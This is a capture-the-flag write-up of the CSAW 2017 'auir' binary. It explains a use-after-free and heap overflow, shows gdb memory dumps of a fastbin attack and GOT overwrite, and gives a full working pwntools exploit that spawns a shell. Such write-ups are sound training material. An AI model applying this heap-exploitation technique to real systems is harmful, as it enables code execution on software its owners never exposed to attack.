csaw 2017 auir
Let's take a look at the binary:
$ pwn checksec auir
[*] '/Hackery/pod/modules/fastbin_attack/csaw17_auir/auir'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
$ file auir
auir: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, stripped
$ ./auir
|-------------------------------|
|AUIR AUIR AUIR AUIR AUIR AUIR A|
|-------------------------------|
[1]MAKE ZEALOTS
[2]DESTROY ZEALOTS
[3]FIX ZEALOTS
[4]DISPLAY SKILLS
[5]GO HOME
|-------------------------------|
>>
So we can see that we are dealing with a 64
bit binary, with a Non-Executable stack. The program gives us a menu to either Make/Destroy/Fix/Display Zealots and Skills. In addition to that we are given a libc file libc-2.23.so
Reversing
So when we reverse this, it becomes clear pretty quickly that the code has been obfuscated and will be a pain to reverse. How I reversed this was I looked for strings that a particular option displayed, which would lead me to a function, and I would just skim over the C pseudocode for it. Also I did a bit of guess and check with assuming what options did what. Then I would go into gdb, and verify what I saw from the function. From that we can determine that the 5 options do the following:
MAKE ZEALOTS: Prompts you for a size, allocates that size in the heap with malloc, then allows you to scan in the amount of bytes allocated into the heap chunk.
DESTROY ZEALOTS: It frees the heap chunk for the zealot you give it.
FIX ZEALOTS: Allows you to scan in data into a Zealot. Does not check for an overflow.
DISPLAY SKILLS: Prints the first 8 bytes of data from the Zealot you provide it with.
GO HOME: Exits the program
In addition to that, we find that in the bss section of memory there are two interesting pieces of data. These can also be found by searching for the data we inputted and seeing where in the heap they were, then searching for where the pointers to those memory areas were stored (based on previous experience I kind of assumed this program would have something like these):
0x605310: Stores pointers for all of the Zealots allocated
0x605630: Integer that stores the amount of Zealots allocated
and we can confirm that with gdb:
gdb-peda$ x/4g 0x605310
0x605310: 0x0000000000617c20 0x0000000000617c40
0x605320: 0x0000000000617c60 0x0000000000000000
gdb-peda$ x/x 0x605630
0x605630: 0x0000000000000003
gdb-peda$ x/s 0x617c20
0x617c20: "15935728\n"
gdb-peda$ x/s 0x617c40
0x617c40: "75395128\n"
Now what is interesting here, is that if we destroy a zealot, a pointer for it in the bss remains, and the integer which holds the total count stays the same. This means that even after we free the chunk of space allocated for a zealot, we can edit that space again, and even free it again (both of which are major bugs). In addition to that, we also have the heap overflow bug from the FIX ZEALOTS option not checking if it is going to overflow the space it is writing to. So to sum it all up, we have a Heap Overflow bug in FIX ZEALOTS, and a Use After Free and Double Free bug because the DESTROY ZEALOTS leaves behind a pointer it frees.
Exploitation
So we have a Use After Free and a heap overflow bug. We will use the use after free bug to get a libc infoleak, by allocating several chunks then freeing them. In this version of libc it stores arena pointers around certain freed chunks which point to somewhere in the libc, so by printing freed chunks we will be able to leak libc addresses if we align it right.
Proceeding that we will use the use after free to execute a fastbin attack. We will allocate two chunks of a similar fastbin size, and free them. Then we will edit the chunk that is on the top of the fastbin (the last one freed). Since with how the fastbin works, the heap memory should be containing a pointer to the next chunk of memory. We will edit it to point to the bss a bit before 0x505310
(where the heap pointers are). Also the reason why it is a bit before is for both to account for heap metadata that will take up space, and if we get too close we will fail a malloc check and the program will crash while it tries to allocate that chunk. After we make the edit, by allocating another chunk of the same size as the two we freed, our fake chunk should be placed at the top of the fastbin. Then by allocating one more chunk of the same size, we will get malloc to return a pointer to our fake chunk.
Using that fake chunk, we will be able to overwrite the heap pointers stored at 0x605310
. We will use this to overwrite the first heap pointer with the got entry address of free. Since RELRO isn't enabled, we can do what we are about to do next. Then we will write to the chunk at index 0
, which will write to the got table entry for free. We will just overwrite it with system. Then we will just overwrite the value of the chunk at index 1
to be /bin/sh\x00
. After that we will be able to call system("/bin/sh")
by freeing the chunk at index 1
.
So that was a brief high level overview. Let's see how the memory is actually manipulated:
Libc Infoleak
First allocated some chunks (I allocated four):
gef➤ x/100g 0xdfec10
0xdfec10: 0x0 0x101
0xdfec20: 0x3030303030303030 0x3030303030303030
0xdfec30: 0x3030303030303030 0x3030303030303030
0xdfec40: 0x3030303030303030 0x3030303030303030
0xdfec50: 0x3030303030303030 0x3030303030303030
0xdfec60: 0x3030303030303030 0x3030303030303030
0xdfec70: 0x3030303030303030 0x3030303030303030
0xdfec80: 0x3030303030303030 0x3030303030303030
0xdfec90: 0x3030303030303030 0x3030303030303030
0xdfeca0: 0x3030303030303030 0x3030303030303030
0xdfecb0: 0x3030303030303030 0x3030303030303030
0xdfecc0: 0x3030303030303030 0x3030303030303030
0xdfecd0: 0x3030303030303030 0x3030303030303030
0xdfece0: 0x3030303030303030 0x3030303030303030
0xdfecf0: 0x3030303030303030 0x3030303030303030
0xdfed00: 0x3030303030303030 0x3030303030303030
0xdfed10: 0x0 0x81
0xdfed20: 0x3131313131313131 0x3131313131313131
0xdfed30: 0x3131313131313131 0x3131313131313131
0xdfed40: 0x3131313131313131 0x3131313131313131
0xdfed50: 0x3131313131313131 0x3131313131313131
0xdfed60: 0x3131313131313131 0x3131313131313131
0xdfed70: 0x3131313131313131 0x3131313131313131
0xdfed80: 0x3131313131313131 0x3131313131313131
0xdfed90: 0x0 0x101
0xdfeda0: 0x3232323232323232 0x3232323232323232
0xdfedb0: 0x3232323232323232 0x3232323232323232
0xdfedc0: 0x3232323232323232 0x3232323232323232
0xdfedd0: 0x3232323232323232 0x3232323232323232
0xdfede0: 0x3232323232323232 0x3232323232323232
0xdfedf0: 0x3232323232323232 0x3232323232323232
0xdfee00: 0x3232323232323232 0x3232323232323232
0xdfee10: 0x3232323232323232 0x3232323232323232
0xdfee20: 0x3232323232323232 0x3232323232323232
0xdfee30: 0x3232323232323232 0x3232323232323232
0xdfee40: 0x3232323232323232 0x3232323232323232
0xdfee50: 0x3232323232323232 0x3232323232323232
0xdfee60: 0x3232323232323232 0x3232323232323232
0xdfee70: 0x3232323232323232 0x3232323232323232
0xdfee80: 0x3232323232323232 0x3232323232323232
0xdfee90: 0x0 0x41
0xdfeea0: 0x3333333333333333 0x3333333333333333
0xdfeeb0: 0x3333333333333333 0x3333333333333333
0xdfeec0: 0x3333333333333333 0x3333333333333333
0xdfeed0: 0x0 0x20131
Then I freed the bottom two and checked to see what the memory was like:
gef➤ x/100g 0xdfec10
0xdfec10: 0x0 0x101
0xdfec20: 0x3030303030303030 0x3030303030303030
0xdfec30: 0x3030303030303030 0x3030303030303030
0xdfec40: 0x3030303030303030 0x3030303030303030
0xdfec50: 0x3030303030303030 0x3030303030303030
0xdfec60: 0x3030303030303030 0x3030303030303030
0xdfec70: 0x3030303030303030 0x3030303030303030
0xdfec80: 0x3030303030303030 0x3030303030303030
0xdfec90: 0x3030303030303030 0x3030303030303030
0xdfeca0: 0x3030303030303030 0x3030303030303030
0xdfecb0: 0x3030303030303030 0x3030303030303030
0xdfecc0: 0x3030303030303030 0x3030303030303030
0xdfecd0: 0x3030303030303030 0x3030303030303030
0xdfece0: 0x3030303030303030 0x3030303030303030
0xdfecf0: 0x3030303030303030 0x3030303030303030
0xdfed00: 0x3030303030303030 0x3030303030303030
0xdfed10: 0x0 0x81
0xdfed20: 0x3131313131313131 0x3131313131313131
0xdfed30: 0x3131313131313131 0x3131313131313131
0xdfed40: 0x3131313131313131 0x3131313131313131
0xdfed50: 0x3131313131313131 0x3131313131313131
0xdfed60: 0x3131313131313131 0x3131313131313131
0xdfed70: 0x3131313131313131 0x3131313131313131
0xdfed80: 0x3131313131313131 0x3131313131313131
0xdfed90: 0x0 0x101
0xdfeda0: 0x7f4572c79b78 0x7f4572c79b78
0xdfedb0: 0x3232323232323232 0x3232323232323232
0xdfedc0: 0x3232323232323232 0x3232323232323232
0xdfedd0: 0x3232323232323232 0x3232323232323232
0xdfede0: 0x3232323232323232 0x3232323232323232
0xdfedf0: 0x3232323232323232 0x3232323232323232
0xdfee00: 0x3232323232323232 0x3232323232323232
0xdfee10: 0x3232323232323232 0x3232323232323232
0xdfee20: 0x3232323232323232 0x3232323232323232
0xdfee30: 0x3232323232323232 0x3232323232323232
0xdfee40: 0x3232323232323232 0x3232323232323232
0xdfee50: 0x3232323232323232 0x3232323232323232
0xdfee60: 0x3232323232323232 0x3232323232323232
0xdfee70: 0x3232323232323232 0x3232323232323232
0xdfee80: 0x3232323232323232 0x3232323232323232
0xdfee90: 0x100 0x40
0xdfeea0: 0x0 0x3333333333333333
0xdfeeb0: 0x3333333333333333 0x3333333333333333
0xdfeec0: 0x3333333333333333 0x3333333333333333
0xdfeed0: 0x0 0x20131
So we can see that there are the arena pointers at 0xdfeda0
and 0xdfeda8
which directly overlap with the start of our third chunk. We can leak the first pointer by just viewing the chunk at index 2
. With that we get our libc infoleak.
Fastbin Attack
Next up is the fastbin attack to allocate a fake chunk in the bss, to start overwriting heap pointers and do a got table overwrite. Picking up from where we left off in the libc infoleak, we allocate two chunks of size 0x60
and free them to add them to the fastbin list:
gef➤ x/10g 0x605310
0x605310: 0xfd6c20 0xfd6d20
0x605320: 0xfd6da0 0xfd6ea0
0x605330: 0xfd6da0 0xfd6e10
0x605340: 0x0 0x0
0x605350: 0x0 0x0
gef➤ x/g 0xfd6e10
0xfd6e10: 0xfd6d90
So we can see that the top chunk has a next pointer to the next chunk in the fastbin. We are going to edit that to be the address of our fake chunk:
gef➤ x/g 0xfd6e10
0xfd6e10: 0x6052ed
Next up we will allocate a chunk of size 0x60
. This will give us chunk 5
, and add our fake chunk to the top of the fastbin:
gef➤ x/10g 0x605310
0x605310: 0xfd6c20 0xfd6d20
0x605320: 0xfd6da0 0xfd6ea0
0x605330: 0xfd6da0 0xfd6e10
0x605340: 0xfd6e10 0x0
0x605350: 0x0 0x0
gef➤ search-pattern 0x00000000006052ed
[+] Searching '\xed\x52\x60\x00\x00\x00\x00\x00' in memory
[+] In '/home/guyinatuxedo/Desktop/elementary/libc-2.23.so'(0x7f56bca04000-0x7f56bca06000), permission=rw-
0x7f56bca04b50 - 0x7f56bca04b70 → "\xed\x52\x60\x00\x00\x00\x00\x00[...]"
So we can see that malloc returned the chunk we got at index 5
(0x605338
). We also see that our fake chunk 0x6052ed
is in the libc, in the fastbin list. We will allocate another chunk of 0x60
and instead of it giving us the chunk at index 4
, it will give us our fake chunk:
gef➤ x/10g 0x605310
0x605310: 0xfd6c20 0xfd6d20
0x605320: 0xfd6da0 0xfd6ea0
0x605330: 0xfd6da0 0xfd6e10
0x605340: 0xfd6e10 0x6052fd
0x605350: 0x0 0x0
So we can see that we were able to execute the fastbin attack to get malloc to return our fake chunk to the bss. Next up we will overwrite the first heap pointer with the got table entry address for free:
gef➤ x/10g 0x605310
0x605310: 0x605060 0xfd6d20
0x605320: 0xfd6da0 0xfd6ea0
0x605330: 0xfd6da0 0xfd6e10
0x605340: 0xfd6e10 0x6052fd
0x605350: 0x0 0x0
gef➤ x/g 0x605060
0x605060: 0x7f56bc6c44f0
gef➤ x/i 0x7f56bc6c44f0
0x7f56bc6c44f0 <free>: push r13
Next up, we will do the got table overwrite:
gef➤ x/10g 0x605310
0x605310: 0x0000000000605060 0x0000000000fd6d20
0x605320: 0x0000000000fd6da0 0x0000000000fd6ea0
0x605330: 0x0000000000fd6da0 0x0000000000fd6e10
0x605340: 0x0000000000fd6e10 0x00000000006052fd
0x605350: 0x0000000000000000 0x0000000000000000
gef➤ x/g 0x605060
0x605060: 0x00007f56bc685390
gef➤ x/i 0x00007f56bc685390
0x7f56bc685390 <system>: test rdi,rdi
Lastly we will just edit the chunk at index 1
to be /bin/sh\x00
(we could of just created the chunk to have that string, but that would make sense):
gef➤ x/10g 0x605310
0x605310: 0x0000000000605060 0x0000000000fd6d20
0x605320: 0x0000000000fd6da0 0x0000000000fd6ea0
0x605330: 0x0000000000fd6da0 0x0000000000fd6e10
0x605340: 0x0000000000fd6e10 0x00000000006052fd
0x605350: 0x0000000000000000 0x0000000000000000
gef➤ x/s 0xfd6d20
0xfd6d20: "/bin/sh"
After that, we just have to free the chunk at index 1
and it will run system("/bin/sh")
and give us our shell!
Exploit
Putting it all together, we get the following exploit. In order for this exploit to work, you do need to run it with libc version libc-2.23.so
. Also I ran this exploit on Ubuntu 16.04:
from pwn import *
# Establish the target binary and libc version
target = process('./auir', env={"LD_PRELOAD":"./libc-2.23.so"})
elf = ELF('./auir')
libc = ELF('libc-2.23.so')
#gdb.attach(target)
#Establish the functions to interact with the elf
def makeZealot(size, content):
target.recvuntil(">>")
target.sendline('1')
target.recvuntil(">>")
target.sendline(str(size))
target.recvuntil(">>")
target.send(content)
def destroyZealot(index):
target.recvuntil(">>")
target.sendline('2')
target.recvuntil(">>")
target.sendline(str(index))
def fixZealot(index, size, content):
target.recvuntil(">>")
target.sendline('3')
target.recvuntil(">>")
target.sendline(str(index))
target.recvuntil(">>")
target.sendline(str(size))
target.recvuntil(">>")
target.send(content)
def showZealot(index):
target.recvuntil(">>")
target.sendline('4')
target.recvuntil(">>")
target.sendline(str(index))
# Make the inital chunks for the libc infoleak
makeZealot(0xf0, "0"*0xf0)# 0
makeZealot(0x70, "1"*0x70)# 1
makeZealot(0xf0, "2"*0xf0)# 2
makeZealot(0x30, "3"*0x30)# 3
# Free the bottom to chunks, to align arena libc pointer with chunk 2
destroyZealot(3)
destroyZealot(2)
# Leake the libc pointer stored in chunk 2
showZealot(2)
# Parse out the infoleak, calculate libc base
target.recvuntil("[*]SHOWING....\n")
leak = target.recvuntil("|").strip("|")
leak = u64(leak + "\x00"*(8 - len(leak)))
libcBase = leak - 0x3c4b78
print "libc base: " + hex(libcBase)
# Calculate the address of the fake chunk
fakeChunk = 0x605310 - 0x23
# Make our two chunks for the fastbin attack
makeZealot(0x60, "1"*0x60)# 4
makeZealot(0x60, "2"*0x60)# 5
# Free those two chunks
destroyZealot(4)
destroyZealot(5)
# Edit chunk 5 which is on top of the fastbin list, overwrite the pointer to the next fastbin with our fakechunk address
fixZealot(5, 0x60, p64(fakeChunk) + p64(0) + "0"*80)
# Allocate a new chunk, move our fake chunk to the top of the fastbin list
makeZealot(0x60, "6"*0x60)# 6
# Allocate a new chunk, which will be our fake chunk right before the heap ptrs stored in the bss
makeZealot(0x60, "0")# 7
# Overwrite the first heap ptr with the got table entry for free
fixZealot(7, 0x1b, '0'*0x13 + p64(elf.got['free']))
# Overwrite got entry for free with system
fixZealot(0, 0x8, p64(libcBase + libc.symbols['system']))
# Write the string `/bin/sh` to chunk 1
fixZealot(1, 0x9, "/bin/sh\x00")
# Free chunk 1 to call system("/bin/sh")
destroyZealot(1)
# Drop to an interactive shell to use our newly popped shell
target.interactive()
When we run it:
$ python exploit.py
[+] Starting local process './auir': pid 5157
[*] '/home/guyinatuxedo/Desktop/elementary/auir'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/home/guyinatuxedo/Desktop/elementary/libc-2.23.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
libc base: 0x7f5d6d785000
[*] Switching to interactive mode
[*]BREAKING....
$ ls
auir core exploit.py libc-2.23.so
$ pwd
/home/guyinatuxedo/Desktop/elementary
Just like that, we popped a shell!